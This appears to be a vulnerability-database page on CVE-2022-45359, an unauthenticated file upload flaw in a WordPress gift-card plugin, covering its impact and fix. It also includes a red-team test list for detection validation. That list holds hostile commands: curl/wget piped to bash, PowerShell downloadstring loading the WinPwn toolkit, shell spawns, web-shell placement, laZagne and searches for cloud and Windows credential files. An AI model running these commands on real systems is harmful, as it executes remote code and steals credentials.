CVE-2022-45359
Overview
This vulnerability is an unauthorized arbitrary file upload flaw within the YITH WooCommerce Gift Cards premium WordPress plugin, affecting versions up to 3.19.0. The root cause lies in insufficient validation and sanitization of file upload inputs, allowing attackers to upload malicious files without authentication. The affected component is the file upload functionality exposed by the plugin's premium module on WordPress.
Vulnerability Description
Unauth. Arbitrary File Upload vulnerability in YITH WooCommerce Gift Cards premium plugin <= 3.19.0 on WordPress.
Impact
An attacker can upload and execute arbitrary files on the target server without any authentication, leading to full system compromise. This allows remote code execution, data theft, website defacement, or pivoting within the network. The vulnerability requires no user interaction or valid credentials, enabling attackers to gain persistent control over the affected WordPress environment and potentially access sensitive business or customer data.
Solution
Upgrade the YITH WooCommerce Gift Cards premium plugin to version 3.20.0 or later, where the vendor has implemented proper access control and input validation to prevent unauthorized file uploads. Detailed patch instructions and updates are available at Patchstack's advisory page: https://patchstack.com/database/vulnerability/yith-woocommerce-gift-cards-premium/wordpress-yith-woocommerce-gift-cards-premium-plugin-3-19-0-unauth-arbitrary-file-upload-vulnerability?_s_id=cve. Applying this update is the recommended remediation to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the YITH WooCommerce Gift Cards premium plugin allows unauthenticated users to upload arbitrary files to the server. This flaw arises from inadequate validation of file uploads, which permits attackers to bypass security controls and upload malicious files, such as web shells or scripts. The lack of stringent checks on file types and sizes, combined with improper handling of uploaded content, creates a significant security gap. Attackers can exploit this vulnerability to execute arbitrary code on the server, leading to a complete compromise of the affected WordPress installation.
Various attack vectors can be employed to exploit this vulnerability. An attacker could craft a malicious request to upload a file containing executable code disguised as a legitimate file type. Once the file is uploaded, the attacker can access it through a web browser, executing the code on the server. This could lead to further exploitation, such as data exfiltration, website defacement, or even lateral movement within the network. Additionally, if the compromised site has administrative privileges or access to sensitive data, the ramifications could extend beyond the immediate environment, affecting customers and other connected systems.
The real-world impact of this vulnerability is profound, particularly for e-commerce businesses relying on the YITH WooCommerce Gift Cards plugin. A successful exploitation could result in unauthorized access to sensitive customer information, including payment details and personal data. The potential for data breaches not only poses a direct financial risk but also threatens the organization's reputation and customer trust. Furthermore, regulatory implications may arise, especially if personal data is compromised, leading to fines and legal challenges. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the YITH WooCommerce Gift Cards plugin to the latest version is essential, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests and prevent unauthorized file uploads. Monitoring server logs for unusual activity, such as unexpected file uploads or access attempts, can also aid in early detection of exploitation attempts. Furthermore, organizations should conduct regular security audits and vulnerability assessments to identify and remediate potential weaknesses in their web applications.
In conclusion, the unauthenticated arbitrary file upload vulnerability in the YITH WooCommerce Gift Cards plugin presents a significant threat to WordPress-based e-commerce sites. The ease of exploitation and the severe consequences of a successful attack necessitate immediate attention from affected organizations. By implementing robust security measures, maintaining up-to-date software, and fostering a culture of security awareness, businesses can better protect themselves against this and similar vulnerabilities, ensuring the safety of their operations and the trust of their customers.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Yithemes | Yith Woocommerce Gift Cards | All |
cpe:2.3:a:yithemes:yith_woocommerce_gift_cards:*:*:*:*:premium:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-45359 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/yith-woocommerce-gift-cards-premium/wordpress-yith-woocommerce-gift-cards-premium-plugin-3-19-0-unauth-arbitrary-file-upload-vulnerability?_s_id=cve |